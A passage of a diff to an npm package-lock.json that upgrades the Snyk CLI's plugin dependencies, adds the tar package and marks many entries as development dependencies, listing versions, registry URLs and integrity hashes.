"3.1.0", - "snyk-docker-plugin": "3.16.0", - "snyk-go-plugin": "1.16.0", - "snyk-gradle-plugin": "3.5.1", + "snyk-config": "4.0.0", + "snyk-cpp-plugin": "2.2.1", + "snyk-docker-plugin": "4.19.3", + "snyk-go-plugin": "1.17.0", + "snyk-gradle-plugin": "3.14.0", "snyk-module": "3.1.0", - "snyk-mvn-plugin": "2.19.1", - "snyk-nodejs-lockfile-parser": "1.26.3", - "snyk-nuget-plugin": "1.18.1", - "snyk-php-plugin": "1.9.0", - "snyk-policy": "1.14.1", - "snyk-python-plugin": "1.17.1", - "snyk-resolve": "1.0.1", - "snyk-resolve-deps": "4.4.0", + "snyk-mvn-plugin": "2.25.3", + "snyk-nodejs-lockfile-parser": "1.32.0", + "snyk-nuget-plugin": "1.21.0", + "snyk-php-plugin": "1.9.2", + "snyk-policy": "1.19.0", + "snyk-python-plugin": "1.19.8", + "snyk-resolve": "1.1.0", + "snyk-resolve-deps": "4.7.2", "snyk-sbt-plugin": "2.11.0", "snyk-tree": "^1.0.0", "snyk-try-require": "1.3.1", "source-map-support": "^0.5.11", "strip-ansi": "^5.2.0", + "tar": "^6.1.0", "tempfile": "^2.0.0", "update-notifier": "^4.1.0", "uuid": "^3.3.2", @@ -14911,329 +19007,178 @@ "ansi-escapes": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", - "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==" + "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", + "dev": true }, "ansi-regex": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==" + "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", + "dev": true }, - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, "requires": { - "ms": "^2.1.1" + "fill-range": "^7.0.1" } }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "requires": { - "ansi-regex": "^4.1.0" - } - } - } - }, - "snyk-config": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/snyk-config/-/snyk-config-3.1.0.tgz", - "integrity": "sha512-3UlyogA67/9WOssJ7s4d7gqWQRWyO/LbgdBBNMhhmFDKa7eTUSW+A782CVHgyDSJZ2kNANcMWwMiOL+h3p6zQg==", - "requires": { - "@snyk/lodash": "4.17.15-patch", - "debug": "^4.1.1", - "nconf": "^0.10.0" - }, - "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - } - } - }, - "snyk-docker-plugin": { - "version": "3.16.0", - "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.16.0.tgz", - "integrity": "sha512-i11WxMhsZxcFKn123LeA+u77NN7uWqWgPfQ6dvkACJnvouWHZidkOAxBOmYU49x8VS7dEQSe2Ym0bgr6EHn4cQ==", - "requires": { - "@snyk/rpm-parser": "^2.0.0", - "@snyk/snyk-docker-pull": "^3.2.0", - "debug": "^4.1.1", - "docker-modem": "2.1.3", - "dockerfile-ast": "0.0.19", - "event-loop-spinner": "^2.0.0", - "gunzip-maybe": "^1.4.2", - "mkdirp": "^1.0.4", - "semver": "^6.1.0", - "snyk-nodejs-lockfile-parser": "1.22.0", - "tar-stream": "^2.1.0", - "tmp": "^0.2.1", - "tslib": "^1", - "uuid": "^8.2.0" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.0.5" } }, "mkdirp": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==" + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "requires": { - "glob": "^7.1.3" - } + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true }, - "snyk-nodejs-lockfile-parser": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.22.0.tgz", - "integrity": "sha512-l6jLoJxqcIIkQopSdQuAstXdMw5AIgLu+uGc5CYpHyw8fYqOwna8rawwofNeGuwJAAv4nEiNiexeYaR88OCq6Q==", + "strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@snyk/lodash": "^4.17.15-patch", - "@yarnpkg/lockfile": "^1.0.2", - "event-loop-spinner": "^1.1.0", - "p-map": "2.1.0", - "snyk-config": "^3.0.0", - "source-map-support": "^0.5.7", - "tslib": "^1.9.3", - "uuid": "^3.3.2" - }, - "dependencies": { - "event-loop-spinner": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz", - "integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==", - "requires": { - "tslib": "^1.10.0" - } - }, - "uuid": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", - "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" - } + "ansi-regex": "^4.1.0" } }, - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "tar": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.0.tgz", + "integrity": "sha512-DUCttfhsnLCjwoDoFcI+B2iJgYa93vBnDUATYEeRx6sntCTdN01VnqsIuTlALXla/LWooNg0yEGeB+Y8WdFxGA==", + "dev": true, "requires": { - "rimraf": "^3.0.0" + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "minipass": "^3.0.0", + "minizlib": "^2.1.1", + "mkdirp": "^1.0.3", + "yallist": "^4.0.0" } }, - "uuid": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.0.tgz", - "integrity": "sha512-fX6Z5o4m6XsXBdli9g7DtWgAx+osMsRRZFKma1mIUsLCz6vRvv+pz5VNbyu9UEDzpMWulZfvpgb/cmDXVulYFQ==" + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, - "snyk-go-parser": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/snyk-go-parser/-/snyk-go-parser-1.4.1.tgz", - "integrity": "sha512-StU3uHB85VMEkcgXta63M0Fgd+9cs5sMCjQXTBoYTdE4dxarPn7U67yCuwkRRdZdny1ZXtzfY8LKns9i0+dy9w==", + "snyk-config": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/snyk-config/-/snyk-config-4.0.0.tgz", + "integrity": "sha512-E6jNe0oUjjzVASWBOAc/mA23DhbzABDF9MI6UZvl0gylh2NSXSXw2/LjlqMNOKL2c1qkbSkzLOdIX5XACoLCAQ==", + "dev": true, "requires": { - "toml": "^3.0.0", - "tslib": "^1.10.0" - } - }, - "snyk-go-plugin": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.16.0.tgz", - "integrity": "sha512-XNGHEFyP+pCzcqmXnj5T/1Oy6AZzm2WkTSuUpohWQ/09ecMRCCv2yrr/kwMQemrKN4+7CoJS/9xfm3GnNlzVHA==", - "requires": { - "@snyk/dep-graph": "1.19.3", - "@snyk/graphlib": "2.1.9-patch", + "async": "^3.2.0", "debug": "^4.1.1", - "snyk-go-parser": "1.4.1", - "tmp": "0.2.0", - "tslib": "^1.10.0" + "lodash.merge": "^4.6.2", + "minimist": "^1.2.5" }, "dependencies": { - "@snyk/dep-graph": { - "version": "1.19.3", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.3.tgz", - "integrity": "sha512-WJLUFKBokoFK5imi0t8Dkyj+uqtS/5Ziuf4oE/OOFX30UqP1ffMDkv9/3sqBJQVQ9FjdgsX3Cm8JZMtMlYRc6w==", - "requires": { - "@snyk/graphlib": "2.1.9-patch.2", - "lodash.isequal": "^4.5.0", - "object-hash": "^2.0.3", - "semver": "^6.0.0", - "source-map-support": "^0.5.19", - "tslib": "^1.13.0" - }, - "dependencies": { - "@snyk/graphlib": { - "version": "2.1.9-patch.2", - "resolved": "https://registry.npmjs.org/@snyk/graphlib/-/graphlib-2.1.9-patch.2.tgz", - "integrity": "sha512-BjJzOXDNzoEMBOjSks7vadu5f0c39SeorJMi9vUvvWM5dcE22CZqcN9VMRW5DYTifUJiCWszkm5TOyfYfB0bfg==", - "requires": { - "lodash.clone": "^4.5.0", - "lodash.constant": "^3.0.0", - "lodash.filter": "^4.6.0", - "lodash.foreach": "^4.5.0", - "lodash.has": "^4.5.2", - "lodash.isarray": "^4.0.0", - "lodash.isempty": "^4.4.0", - "lodash.isfunction": "^3.0.9", - "lodash.isundefined": "^3.0.1", - "lodash.keys": "^4.2.0", - "lodash.map": "^4.6.0", - "lodash.reduce": "^4.6.0", - "lodash.size": "^4.2.0", - "lodash.transform": "^4.6.0", - "lodash.union": "^4.6.0", - "lodash.values": "^4.3.0" - } - }, - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" - } - } + "async": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.0.tgz", + "integrity": "sha512-TR2mEZFVOj2pLStYxLht7TyfuRzaydfpxr3k9RpHIzMgw7A64dzsdqCxH1WJyQdoe8T10nDXd9wnEigmiuHIZw==", + "dev": true }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "requires": { - "glob": "^7.1.3" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" - }, - "tmp": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.0.tgz", - "integrity": "sha512-spsb5g6EiPmteS5TcOAECU3rltCMDMp4VMU2Sb0+WttN4qGobEkMAd+dkr1cubscN08JGNDX765dPbGImbG7MQ==", - "requires": { - "rimraf": "^3.0.0" - } + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, - "snyk-gradle-plugin": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/snyk-gradle-plugin/-/snyk-gradle-plugin-3.5.1.tgz", - "integrity": "sha512-8tZwQCqRbjp1azvc+bBRXSbn2AjbUpFAM6qoSpM/IZpfGl1RaOtz4/JTkGFxj+iBhTFoAkGxEunT66eO0pHZZw==", + "snyk-cpp-plugin": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/snyk-cpp-plugin/-/snyk-cpp-plugin-2.2.1.tgz", + "integrity": "sha512-NFwVLMCqKTocY66gcim0ukF6e31VRDJqDapg5sy3vCHqlD1OCNUXSK/aI4VQEEndDrsnFmQepsL5KpEU0dDRIQ==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.8.0", - "@snyk/dep-graph": "^1.17.0", - "@types/debug": "^4.1.4", - "chalk": "^3.0.0", + "@snyk/dep-graph": "^1.19.3", + "chalk": "^4.1.0", "debug": "^4.1.1", - "tmp": "0.2.1", + "hosted-git-info": "^3.0.7", "tslib": "^2.0.0" }, "dependencies": { - "@snyk/cli-interface": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz", - "integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==", - "requires": { - "@snyk/dep-graph": "1.19.0", - "@snyk/graphlib": "2.1.9-patch", - "tslib": "^1.9.3" - }, - "dependencies": { - "@snyk/dep-graph": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz", - "integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==", - "requires": { - "@snyk/graphlib": "2.1.9-patch", - "lodash.isequal": "^4.5.0", - "object-hash": "^2.0.3", - "semver": "^6.0.0", - "source-map-support": "^0.5.19", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" - } - } - }, - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" - } - } - }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -15243,6 +19188,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -15250,83 +19196,29 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "requires": { - "glob": "^7.1.3" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "requires": { - "has-flag": "^4.0.0" - } - }, - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", - "requires": { - "rimraf": "^3.0.0" - } - }, - "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" - } - } - }, - "snyk-module": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-3.1.0.tgz", - "integrity": "sha512-HHuOYEAACpUpkFgU8HT57mmxmonaJ4O3YADoSkVhnhkmJ+AowqZyJOau703dYHNrq2DvQ7qYw81H7yyxS1Nfjw==", - "requires": { - "debug": "^4.1.1", - "hosted-git-info": "^3.0.4" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "requires": { - "ms": "^2.1.1" - } + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "hosted-git-info": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.5.tgz", - "integrity": "sha512-i4dpK6xj9BIpVOTboXIlKG9+8HMKggcrMX7WA24xZtKwX0TPelq/rbaS5rCKeNX8sJXZJGdSxpnEGtta+wismQ==", + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz", + "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==", + "dev": true, "requires": { "lru-cache": "^6.0.0" } @@ -15335,6 +19227,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, "requires": { "yallist": "^4.0.0" } @@ -15342,104 +19235,525 @@ "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "tslib": { + "version": "2.2.0", + "resolved": 